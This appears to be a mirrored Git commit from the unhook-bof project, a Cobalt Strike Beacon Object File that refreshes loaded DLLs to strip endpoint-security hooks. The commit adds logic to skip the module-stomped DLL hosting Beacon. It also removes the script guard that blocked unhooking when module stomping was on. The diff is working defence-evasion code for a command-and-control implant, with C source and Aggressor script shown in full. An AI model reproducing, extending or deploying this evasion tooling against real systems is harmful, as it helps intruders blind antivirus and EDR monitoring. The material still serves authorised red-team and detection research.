mirror of
https://github.com/rsmudge/unhook-bof
synced 2026-06-06 16:44:26 +00:00
ignore the DLL where beacon is
This commit is contained in:
@@ -8,10 +8,6 @@ Load unhook.cna into Cobalt Strike via Cobalt Strike -> Script Manager
|
||||
|
||||
Run 'unhook' from Beacon
|
||||
|
||||
Known issues:
|
||||
|
||||
Unhook refreshes "everything". If you're module stomping--this would include that module. The unhook alias does detect if module stomping is enabled and report an error. Future improvements could limit which DLLs are refreshed to a list of high-interest DLLs or explicitly exclude our stomped module.
|
||||
|
||||
To build:
|
||||
|
||||
x86: Open Visual Studio x86 Native Tools Command Prompt and type 'make'
|
||||
|
||||
+29
-2
@@ -4,7 +4,32 @@
|
||||
#include "unhook.h"
|
||||
#include "beacon.h"
|
||||
|
||||
void RefreshPE(void * buffer)
|
||||
BOOL IsBeaconDLL(char* stomp, size_t beaconDllLength, PWSTR wszBaseDllName, USHORT BaseDllLength)
|
||||
{
|
||||
BOOL isBeacon = FALSE;
|
||||
if (beaconDllLength * 2 == BaseDllLength)
|
||||
{
|
||||
isBeacon = TRUE;
|
||||
for (int i = 0; i < beaconDllLength; i++)
|
||||
{
|
||||
// make them lower case
|
||||
char c1 = stomp[i];
|
||||
char c2 = wszBaseDllName[i];
|
||||
if (c1 >= 'A' && c1 <= 'Z')
|
||||
c1 += 32;
|
||||
if (c2 >= 'A' && c2 <= 'Z')
|
||||
c2 += 32;
|
||||
if (c1 != c2)
|
||||
{
|
||||
isBeacon = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return isBeacon;
|
||||
}
|
||||
|
||||
void RefreshPE(void * buffer, char* stomp)
|
||||
{
|
||||
HMODULE hModule;
|
||||
PWSTR wszFullDllName;
|
||||
@@ -14,13 +39,15 @@ void RefreshPE(void * buffer)
|
||||
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
|
||||
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
|
||||
|
||||
size_t beaconDllLength = strlen(stomp);
|
||||
|
||||
dprintf("[REFRESH] Running DLLRefresher");
|
||||
|
||||
pLdteHead = GetInMemoryOrderModuleList();
|
||||
pLdteCurrent = pLdteHead;
|
||||
|
||||
do {
|
||||
if (pLdteCurrent->FullDllName.Length > 2)
|
||||
if (pLdteCurrent->FullDllName.Length > 2 && !IsBeaconDLL(stomp, beaconDllLength, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length))
|
||||
{
|
||||
wszFullDllName = pLdteCurrent->FullDllName.pBuffer;
|
||||
wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@
|
||||
#define OUTPUTDBGW(str)
|
||||
#endif
|
||||
|
||||
void RefreshPE(void * out);
|
||||
void RefreshPE(void * out, char* stomp);
|
||||
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase);
|
||||
HMODULE CustomGetModuleHandleW(const PWSTR wszModule);
|
||||
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule);
|
||||
|
||||
+7
-2
@@ -2,14 +2,19 @@
|
||||
#include "refresh.c"
|
||||
#include "unhook.h"
|
||||
|
||||
void go() {
|
||||
void go(char* args, int length) {
|
||||
datap parser;
|
||||
formatp buffer;
|
||||
char *out;
|
||||
int size;
|
||||
char* stomp;
|
||||
|
||||
BeaconDataParse(&parser, args, length);
|
||||
stomp = BeaconDataExtract(&parser, NULL);
|
||||
|
||||
BeaconFormatAlloc(&buffer, 64 * 1024);
|
||||
|
||||
RefreshPE(&buffer);
|
||||
RefreshPE(&buffer, stomp);
|
||||
|
||||
/* we're done... I guess */
|
||||
BeaconFormatPrintf(&buffer, "Unhook is done.\n");
|
||||
|
||||
+5
-6
@@ -1,5 +1,5 @@
|
||||
alias unhook {
|
||||
local('$barch $handle $data $stomp');
|
||||
local('$barch $handle $data $stomp $args');
|
||||
|
||||
# figure out the arch of this session
|
||||
$barch = barch($1);
|
||||
@@ -7,20 +7,19 @@ alias unhook {
|
||||
# if we're module stomping; don't run the unhook as-is because we'll walk over
|
||||
# everything. We don't want that. A nice improvement would ask unhooker to skip stomped module.
|
||||
$stomp = [data_query("metadata")["c2profile"] getString: ".stage.module_ $+ $barch"];
|
||||
if ($stomp ne "") {
|
||||
berror($1, "Can't unhook when .stage.module_ $+ $barch is set. :(");
|
||||
return;
|
||||
}
|
||||
|
||||
# read in the right BOF file
|
||||
$handle = openf(script_resource("unhook. $+ $barch $+ .o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
# pack the arguments
|
||||
$args = bof_pack($1, "z", $stomp);
|
||||
|
||||
btask($1, "Running unhook");
|
||||
|
||||
# run it..
|
||||
beacon_inline_execute($1, $data, "go", $null);
|
||||
beacon_inline_execute($1, $data, "go", $args);
|
||||
}
|
||||
|
||||
beacon_command_register(
|
||||
|
||||
Reference in New Issue
Block a user